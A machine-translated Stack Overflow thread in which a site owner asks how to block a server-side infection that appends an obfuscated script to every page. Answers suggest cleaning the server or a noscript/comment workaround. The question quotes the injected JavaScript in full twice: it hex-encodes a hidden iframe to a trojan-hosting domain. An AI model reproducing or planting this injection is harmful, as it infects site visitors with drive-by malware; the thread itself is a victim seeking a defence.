0

私のウェブサイトが掲載されているサーバーにもウイルスがあります。

ウイルスが悪意のあるコードを挿入します

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>

提供されるすべての単一ページに、ファイルの最後に追加するためにApacheまたは同様のものによって前処理されています。

次のコードを使用してテストファイルを作成しました。

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body>
</html>

それはきれいではありませんが、それはその目的を果たしました。

ブラウザでページを表示すると、

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html>

これはwww.sagamountain.com/testfile.htmlから表示できます(警告、このページは感染しています)

トロイの木馬が存在するサイトへのiframeであるため、プログラムでそのdivとそのスクリプトの実行を停止する必要があります。HTML、CSS、またはJSの場合、そのJSが実行されないようにする方法が必要です。

すでにdisplay:noneになっているので表示できませんが、iframeがまったく読み込まれないようにするにはどうすればよいですか?

助けてくれてありがとう!エスケープされていないものは、明らかに私の問題の原因であるhttp://ncccnnnc.cn/img/index.phpへのiframeに解決されます。そのサイトに行かないでください!

編集:これはhttps://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459のフォローアップです#78459

4

3 に答える 3

11

あなたの具体的な質問に答えられなくて申し訳ありませんが、あなたはこれを間違った見方をしていると思います。あなたがする必要があるのはウイルスが挿入されたhtmlを取り除くことではありません、あなたがする必要があるのはあなたのウェブホスト/システム管理者と話し、ウイルスを取り除くことです。

症状を治療しても感染症は治りません。しかし、病気を治療することは、ウイルスを取り除くだけでなく、症状も治療します。

于 2009-10-26T22:49:38.570 に答える
2

サイバー、サーバーが他の誰かによって修正されるのを待つ必要がある場合は、ドキュメントをオープン<noscript>タグまたはオープンHTMLコメントタグで終了してみてください。

document.write上記のタグ(noscript / comment)のいずれかを使用しない限り、Javascriptを使用してレンダリングされていないコンテンツの停止を停止することはできません。また、スクリプトを後に配置しても何もできません。すでに手遅れになっているためです(コンテンツはすでに存在します)。

これは醜い解決策ですが、サイトの訪問者がウイルスに感染するのを防ぐ必要があります。また、マークアップが無効になりますが、どのブラウザでもマークアップを解析して、期待どおりにレンダリングできるはずです。

サーバーで頑張ってください!

于 2009-10-26T23:57:45.867 に答える
2

サーバーにあるファイルは、ここのコメントを参照してください。

于 2009-10-26T23:26:11.170 に答える